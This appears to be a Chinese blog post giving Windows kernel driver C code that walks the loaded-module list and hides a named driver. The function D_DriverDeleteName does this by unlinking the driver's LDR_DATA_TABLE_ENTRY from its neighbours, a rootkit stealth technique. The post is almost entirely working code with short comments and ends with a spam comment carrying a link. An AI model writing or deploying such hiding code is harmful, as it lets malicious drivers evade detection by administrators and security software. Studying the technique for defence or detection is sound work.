Loading... http://www.irohane.top/index.php/archives/613/ 1. 首先获取EPROCESS 2. 在EPROCESS结构体 获取 DriverSection 字段 LDR_DATA_TABLE_ENTRY 类型的结构体, PLDR_DATA_TABLE_ENTRY 结构体 ``` //_LIST_ENTRY 每一个结构体指向 LDR_DATA_TABLE_ENTRY的结构体位置,如果使用InMemoryOrderLinks就得-0x8到头然后然后遍历, typedef struct _LIST_ENTRY { struct _LIST_ENTRY *Flink; struct _LIST_ENTRY *Blink; } LIST_ENTRY, *PLIST_ENTRY; // LDR 链表中的每一项都是这个结构体,保存了驱动的基本信息 typedef struct _LDR_DATA_TABLE_ENTRY { struct _LIST_ENTRY InLoadOrderLinks; //0x0 struct _LIST_ENTRY InMemoryOrderLinks; //0x8 struct _LIST_ENTRY InInitializationOrderLinks; //0x10 VOID* DllBase; //0x18 VOID* EntryPoint; //0x1c ULONG SizeOfImage; //0x20 struct _UNICODE_STRING FullDllName; //0x24 struct _UNICODE_STRING BaseDllName; //0x2c // ... 后面还有一些字段,由于用不到,为了节省代码量,直接不考虑 } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; ``` ``` //查看驱动列表 ---注意 如果 切断了当前链路,遍历的时候找不到下一个 就会无限循环 VOID D_Driver_List(PDRIVER_OBJECT pDriverObject) { int index = 1; //当前驱动链 PLDR_DATA_TABLE_ENTRY current = (PLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection; //下一个驱动链 PLDR_DATA_TABLE_ENTRY item = (PLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection; //放置结构体 int j = 0; //KdBreakPoint(); do { if (j == index) { break; }; //拷贝 KdPrint(("FULL:%wZ BASE: %wZ : DWORD:%X\n", &item->FullDllName, &item->BaseDllName, item->SizeOfImage)); ++j; //遍历下一个元素 item = (PLDR_DATA_TABLE_ENTRY)item->InLoadOrderLinks.Flink; } while (item != current); } //隐藏驱动 驱动对象 隐藏的驱动名称 VOID D_DriverDeleteName(PDRIVER_OBJECT pDriverObject, UNICODE_STRING SysName) { //当前 PLDR_DATA_TABLE_ENTRY current = (PLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection; //下一个 PLDR_DATA_TABLE_ENTRY item = (PLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection; INT32 Is_Delete = 0; do { //如果驱动是一样的就开始隐藏 if (!memcmp(item->BaseDllName.Buffer, SysName.Buffer, item->BaseDllName.Length)) { //当前 上一个的下一个 指向 当前下一个 item->InLoadOrderLinks.Blink->Flink = item->InLoadOrderLinks.Flink; //当前 下一个的上一个 指向 当前上一个 item->InLoadOrderLinks.Flink->Blink = item->InLoadOrderLinks.Blink; Is_Delete = 1; KdPrint(("已隐藏驱动%wZ", SysName)); break; } item = item->InLoadOrderLinks.Blink; } while (item != current); if (Is_Delete == 0) { KdPrint(("没有找到驱动")); } } //函数入口 NTSTATUS DriverEntry(PDRIVER_OBJECT Driver, PUNICODE_STRING path) { g_Driver = Driver; NTSTATUS statuc = STATUS_SUCCESS; UNREFERENCED_PARAMETER(Driver); UNREFERENCED_PARAMETER(path); Driver->DriverUnload = DriverUnload; D_Driver_List(Driver); return STATUS_SUCCESS; } ``` 最后修改:2021 年 03 月 03 日 © 允许规范转载 赞 0 如果觉得我的文章对你有用,请随意赞赏
1 条评论
想想你的文章写的特别好https://www.237fa.com/